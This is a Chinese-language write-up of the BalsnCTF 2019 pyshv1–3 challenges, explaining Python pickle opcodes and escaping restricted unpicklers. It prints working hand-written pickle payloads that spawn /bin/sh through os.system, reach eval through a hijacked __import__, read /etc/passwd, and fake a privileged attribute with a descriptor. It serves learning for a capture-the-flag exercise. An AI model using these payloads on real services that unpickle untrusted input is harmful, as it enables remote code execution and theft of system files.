[toc] 源码以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
python反序列化 和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式。 序列化:
1 2 pickle.dump pickle.dumps
反序列化:
1 2 pickle.load pickle.loads
可以看到Person的属性以及一些杂乱的字符串,这些字符串是 PVM 虚拟机可以识别的有特殊含义的符号。PVM 由三个部分组成,引擎(或者叫指令分析器),栈区、还有一个 Memo,分别用来处理、储存以及标记数据。 (p牛博客摘抄) pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0
的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式。 和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:
PVM操作码(具体其他操作码可以去看pickle源码)
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
(:压入一个标志到栈中,表示元组的开始位置
0:弹出栈项的元素并丢弃
t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
g:把memo的第n个位置的元素复制到栈顶
V、S:向栈顶压入一个(unicode)字符串
s:从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
.:表示整个程序结束
反序列化流程 序列化是一个将对象转化成字符串的过程,而反序列化就是将字符串转换为对象的过程。https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf 例如对于字符串
1 2 3 4 5 c__builtin__ file (S'/etc/passwd' tR.
首先c
操作码代表引入模块和对象__builtin__.file
然后(
操作码代表压入一个标志到栈中,表示元组的开始位置 接着S
操作码代表向栈顶插入一个字符串,这里为’/etc/passwd’。 t
操作码代表从栈顶开始,找到最上面的MARK
也就是(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中。 最后R
操作码代表从栈顶弹出两个元素,一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上。这里执行的是__builtin__.file('/etc/passwd')
最后还要有一个.
代表整个程序结束。
反序列化漏洞 当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类 )的时候,可以通过类中定义的__reduce__
方法来告知如何进行序列化或者反序列化 因此,我们可以通过自定义__reduce__
方法来让这个类根据我们在__reduce__
中指定的方式进行序列化。该方法可以返回一个字符串或者一个元祖,当返回元祖时,需提供2到5个参数,而我们常用的是前两个参数,即一个可调用对象和一个为元组类型的可调用对象参数,类似于上面的操作码R
。 比如我们可以 需要知道的是__reduce__
只是用来方便帮助我们生成反序列化payload的,他通常只能执行一个函数,而在反序列化沙盒绕过时大多需要执行多种操作,这时候我们就需要手写PVM操作码。当然也可以像LCBC大佬一样写了一个自动生成PVM操作码的脚本https://ctftime.org/writeup/16723
安全的反序列化方式 官方推荐我们重写Unpickler.find_class()
来给反序列化时调用的module
和name
设置黑白名单。
pyshv1 securePickle.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import pickleimport ioimport syswhitelist = [] class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import securePickle as pickleimport codecsimport syspickle.whitelist.append('sys' ) class Pysh (object ): def __init__ (self ): self.login() self.cmds = {} def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() if __name__ == '__main__' : pysh = Pysh() pysh.run()
可以看到题目用RestrictedUnpickler
做为反序列化的过程类,find_class
中限制了反序列化的对象必须是sys
模块中的对象。也就是我们要保证我们使用c
导入的模块只能是sys
。 并且pickle.Unpickler.find_class
获取模块属性也依赖于sys.modules
。 也就是最终我们调用的始终是getattr(sys.modules['sys'],name)
,因此我们通过只导入sys
模块把sys.modules['sys']
改为我们想要执行的方法即可。 sys.modules
是一个字典,它包含了从 Python 开始运行起,被导入的所有模块。键字就是模块名,键值就是模块对象。因此我们可以从中获取想要的模块对象赋值给sys.modules['sys']
。 例如
1 2 3 4 5 6 7 8 import sysmodules = sys.modules sys.modules['sys' ] = sys.modules import sysmodules['sys' ] = sys.get('os' ) import syssys.system('echo "it works!"' )
我们还需要手动将其转化为PVM操作码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 csys modules p1 0g1 S'sys' g1 scsys get (S'os' tRp2 0S'sys' g2 scsys system (S'/bin/sh' tR.
可以看到只调用了sys就将sys.modules['sys']
改为了os模块
pyshv2 securePickle.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) module = __import__ (module) return getattr (module, name) def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import securePickle as pickleimport codecsimport syspickle.whitelist.append('structs' ) class Pysh (object ): def __init__ (self ): self.login() self.cmds = { 'help' : self.cmd_help, 'flag' : self.cmd_flag, } def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_su (self ): print ("Not Implemented QAQ" ) def cmd_flag (self ): print ("Not Implemented QAQ" ) if __name__ == '__main__' : pysh = Pysh() pysh.run()
structs.py是空文件。 与v1不同的地方在于可导入模块改为了structs
,然后还调用了__import__
。 __builtins__
是所有模块共用的一个字典,而__import__
是他的内置函数。我们可以通过修改structs.__builtins__
来重写__import__
。 我们可以将__import__
改为structs.__getattribute__
,然后把structs.structs
改为__builtins__
,然后调用import (‘structs’)返回的是__builtins__
,从而调用其eval
等内置函数。
1 2 3 4 5 6 from structs import __dict__from structs import __builtins__from structs import __getattribute____builtins__['__import__' ] = __getattribute__ __dict__['structs' ] = __builtins__ __import__ ('structs' )['eval' ]('print("123")' )
同样的需要将其改为PVM操作码,这里要注意__builtins__
是一个字典,从里面取eval
要用dict.get
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cstructs __dict__ p1 0cstructs __builtins__ p2 0cstructs __getattribute__ p3 0g2 S'__import__' g3 sg1 S'structs' g2 scstructs get p4 (S'eval' tR(S'print(open("/etc/passwd").read())' tR.
pyshv3 securePickle.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import securePickle as pickleimport codecsimport ospickle.whitelist.append('structs' ) class Pysh (object ): def __init__ (self ): self.key = os.urandom(100 ) self.login() self.cmds = { 'help' : self.cmd_help, 'whoami' : self.cmd_whoami, 'su' : self.cmd_su, 'flag' : self.cmd_flag, } def login (self ): with open ('../flag.txt' , 'rb' ) as f: flag = f.read() flag = bytes (a ^ b for a, b in zip (self.key, flag)) user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) print ('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_whoami (self ): print (self.user.name, self.user.group) def cmd_su (self ): print ("Not Implemented QAQ" ) def cmd_flag (self ): if not self.user.privileged: print ('flag: Permission denied' ) else : print (bytes (a ^ b for a, b in zip (self.user.flag, self.key))) if __name__ == '__main__' : pysh = Pysh() pysh.run()
structs.py
1 2 3 4 5 6 class User (object ): def __init__ (self, name, group ): self.name = name self.group = group self.isadmin = 0 self.prompt = ''
struscts.py多了个User类,find_class
与v1类似,不过可导入模块为structs。server.py中可以看到反序列化对象privileged
属性为true就会输出flag,但是反序列化对象的privileged
属性在反序列化之后被设置成了False。 payload 类似于 描述器定义 例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class RevealAccess (object ): """A data descriptor that sets and returns values normally and prints a message logging their access. """ def __init__ (self, initval=None , name='var' ): self.val = initval self.name = name def __get__ (self, obj, objtype ): print 'Retrieving' , self.name return self.val def __set__ (self, obj, val ): print 'Updating' , self.name self.val = val >>> class MyClass (object ):... x = RevealAccess(10 , 'var "x"' )... y = 5 ... >>> m = MyClass()>>> m.xRetrieving var "x" >>> m.x = 20 Updating var "x" >>> m.xRetrieving var "x" >>> m.y
payload中我们重载了User类的__set__
方法,并将User实例赋值机给了User类的privileged
属性,然后当对a.privileged
赋值时,就会触发其__set__
方法,因为set 被赋值为了User,所以并不会对a.privileged
进行正常赋值,从而a.privileged
还为原来的User()实例。 另外要注意只有查找到的值是一个描述器时 才会调用描述器方法,比如这里的a.privileged
为描述器,而a.ppp
为一个正常的属性并不是一个描述器,因此其可以正常赋值。 然后就是手写opcode了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cstructs User p0 (N}S"__set__" g0 stbg0 (S"guess" S"guess" tRp1 g0 (N}S"privileged" g1 stbg1 .
源码里的flag.txt我改为了/etc/passwd
后记 很nice的三道题,学到了很多。